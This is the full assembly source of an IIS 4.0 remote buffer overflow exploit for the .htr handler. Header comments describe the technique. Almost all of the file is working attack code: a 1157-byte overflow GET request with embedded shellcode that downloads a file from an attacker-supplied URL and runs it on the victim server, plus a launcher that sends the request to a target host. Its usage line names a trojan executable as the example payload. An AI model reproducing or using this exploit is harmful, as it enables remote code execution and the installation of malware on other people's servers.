; IIS 4.0 remote overflow exploit.
; (c) dark spyrit -- barns@eeye.com
;
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and
; #beavuh... and all the other kiwi's except ceo.
;
; credits to acp for the console stuff..
;
; I don't want to go in too deeply on the process of exploiting buffer
; overflows... there's various papers out there on this subject, instead I'll
; give just a few specifics relating to this one..
;
; Microsoft was rather good to us on this occasion, stuffing our eip value
; directly into a register then calling it.. no need to stuff valid addresses
; to make our way through various routines to eventually return to our
; address... but, unfortunately it wasn't all smooth sailing.
; Various bytes and byte sequences I was forced to avoid, as you'll quickly
; notice should you bother debugging this.. various push/pop pairs etc.
; I don't bother with any cleanup when all is done, NT's exception handling
; can cope with the mess :)
;
; The exploit works by redirecting the eip to the address of a loaded dll,
; in this case ISM.DLL. Why?
; Because its loaded in memory, is loaded at a high address which gets around
; the null byte problem.. and is static on all service packs.
; The code from ISM.DLL jumps to my code, which creates a jump table of
; of functions we'll need, including the socket functions.. we do this
; because unfortunately the dll's import tables don't include nearly enough
; of the functions we need..
;
; The socket structure is created and filled at runtime, I had to do this
; at runtime because of the bad byte problem.. after this a small buffer is
; created, a get request issued to the web site of the file you want to
; download.. file is then received/saved to disk/and executed..
; Simple huh? no not really :)
;
; Have fun with this one... feel free to drop me an email with any comments.
;
; And finally, heh.. "caveat emptor".
;
;
; you can grab the assembled exe at http://www.eEye.com.
;
; to assemble:
;
; tasm32 -ml iishack.asm
; tlink32 -Tpe -c -x iishack.obj ,,, import32
.386p
locals
jumps
.model flat, stdcall
extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC
.data
sploit_length equ 1157
sploit:
db "GET /"
db 041h, 041h, 041h, 041h, 041h, 041h, 041h
db 576 dup (041h)
db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h
db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h
db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h
db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h
db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh
db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h
db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h
db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h
db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h
db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h
db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h
db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h
db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h
db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh
db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h
db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h
db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h
db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h
db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch
db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h
db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah
db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h
db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh
db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h
db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h
db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch
db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh
db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h
db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h
db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h
db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h
db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h
db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h
db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh
db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h
db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h
db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h
db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h
db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h
_url2 db 85 dup (021h)
db ".htr HTTP/1.0"
db 00dh,00ah, 00dh, 00ah
logo db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10
db "(c) dark spyrit -- barns@eeye.com.",13,10
db "http://www.eEye.com",13,10,13,10
db "[usage: iishack <host> <port> <url>]", 13, 10
db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10
db "do not include 'http://' before hosts!",13,10
db "-------------------------------------------------------------------------------", 13, 10, 0
logolen equ $-logo
u_length db 10,"No more than 70 chars in 2nd url.",13,10,0
u_lengthl equ $-u_length
errorinit db 10,"Error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit
nohost db 10,"No host or IP specified.", 13,10,0
nohostl equ $-nohost
noport db 10,"No port specified.",13,10,0
noportl equ $-noport
no_url db 10,"No URL specified.",13,10,0
no_urll equ $-no_url
urlinv db 10,"Invalid URL.. no file specified?",13,10,0
urlinvl equ $-urlinv
reshost db 10,"Error resolving host.",13,10,0
reshostl equ $-reshost
sockerr db 10,"Error creating socket.",13,10,0
sockerrl equ $-sockerr
ipill db 10,"IP error.",13,10,0
ipilll equ $-ipill
porterr db 10,"Invalid port.",13,10,0
porterrl equ $-porterr
cnerror db 10,"Error establishing connection.",13,10,0
cnerrorl equ $-cnerror
success db 10,"Data sent!",13,10,0
successl equ $-success
console_in dd ?
console_out dd ?
bytes_read dd ?
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends
wsadata WSAdata <?>
sin sockaddr_in <?>
sock dd ?
numbase dd 10
_port db 256 dup (?)
_host db 256 dup (?)
_url db 256 dup (?)
stuff db 042h, 068h, 066h, 075h, 041h, 050h
.code
start:
call init_console
push logolen
push offset logo
call write_console
call GetCommandLineA
mov edi, eax
mov ecx, -1
xor al, al
push edi
repnz scasb
not ecx
pop edi
mov al, 20h
repnz scasb
dec ecx
cmp ch, 0ffh
jz @@0
test ecx, ecx
jnz @@1
@@0:
push nohostl
push offset nohost
call write_console
jmp quit3
@@1:
mov esi, edi
lea edi, _host
call parse
or ecx, ecx
jnz @@2
push noportl
push offset noport
call write_console
jmp quit3
@@2:
lea edi, _port
call parse
or ecx, ecx
jnz @@3
push no_urll
push offset no_url
call write_console
jmp quit3
@@3:
push ecx
lea edi, _url
call parse
pop ecx
cmp ecx, 71
jb length_ok
push u_lengthl
push offset u_length
call write_console
jmp quit3
length_ok:
mov esi, offset _url
mov edi, offset _url2
@@10:
xor al, al
lodsb
cmp al, 02fh
jz whaq
test al, al
jz @@20
add al, 021h
stosb
jmp @@10
@@20:
push urlinvl
push offset urlinv
call write_console
jmp quit3
whaq:
push esi
lea esi, stuff
lodsw
stosw
lodsd
stosd
pop esi
fileget:
xor al, al
lodsb
test al, al
jz getdone
add al, 021h
stosb
jmp fileget
getdone:
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
push errorinitl
push offset errorinit
call write_console
jmp quit3
winsock_found:
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call socket
cmp eax, -1
jnz socket_ok
push sockerrl
push offset sockerr
call write_console
jmp quit2
socket_ok:
mov sock, eax
mov sin.sin_family, 2
mov esi, offset _port
lewp1:
xor al, al
lodsb
test al, al
jz go
cmp al, 039h
ja port_error
cmp al, 030h
jb port_error
jmp lewp1
port_error:
push porterrl
push offset porterr
call write_console
jmp quit1
go:
mov ebx, offset _port
call str2num
mov eax, edx
push eax
call htons
mov sin.sin_port, ax
mov esi, offset _host
lewp:
xor al, al
lodsb
cmp al, 039h
ja gethost
test al, al
jnz lewp
push offset _host
call inet_addr
cmp eax, -1
jnz ip_aight
push ipilll
push offset ipill
call write_console
jmp quit1
ip_aight:
mov sin.sin_addr, eax
jmp continue
gethost:
push offset _host
call gethostbyname
test eax, eax
jnz gothost
push reshostl
push offset reshost
call write_console
jmp quit1
gothost:
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax
continue:
push size sin
push offset sin
push sock
call connect
or eax, eax
jz connect_ok
push cnerrorl
push offset cnerror
call write_console
jmp quit1
connect_ok:
xor eax, eax
push eax
push sploit_length
push offset sploit
push sock
call send
push successl
push offset success
call write_console
quit1:
push sock
call closesocket
quit2:
call WSACleanup
quit3:
push 0
call ExitProcess
parse proc
;cheap parsing.. hell.. its only an exploit.
lewp9:
xor eax, eax
cld
lodsb
cmp al, 20h
jz done
test al, al
jz done2
stosb
dec ecx
jmp lewp9
done:
dec ecx
done2:
ret
endp
str2num proc
push eax ecx edi
xor eax, eax
xor ecx, ecx
xor edx, edx
xor edi, edi
lewp2:
xor al, al
xlat
test al, al
jz end_it
sub al, 030h
mov cl, al
mov eax, edx
mul numbase
add eax, ecx
mov edx, eax
inc ebx
inc edi
cmp edi, 0ah
jnz lewp2
end_it:
pop edi ecx eax
ret
endp
init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp
write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp
end start
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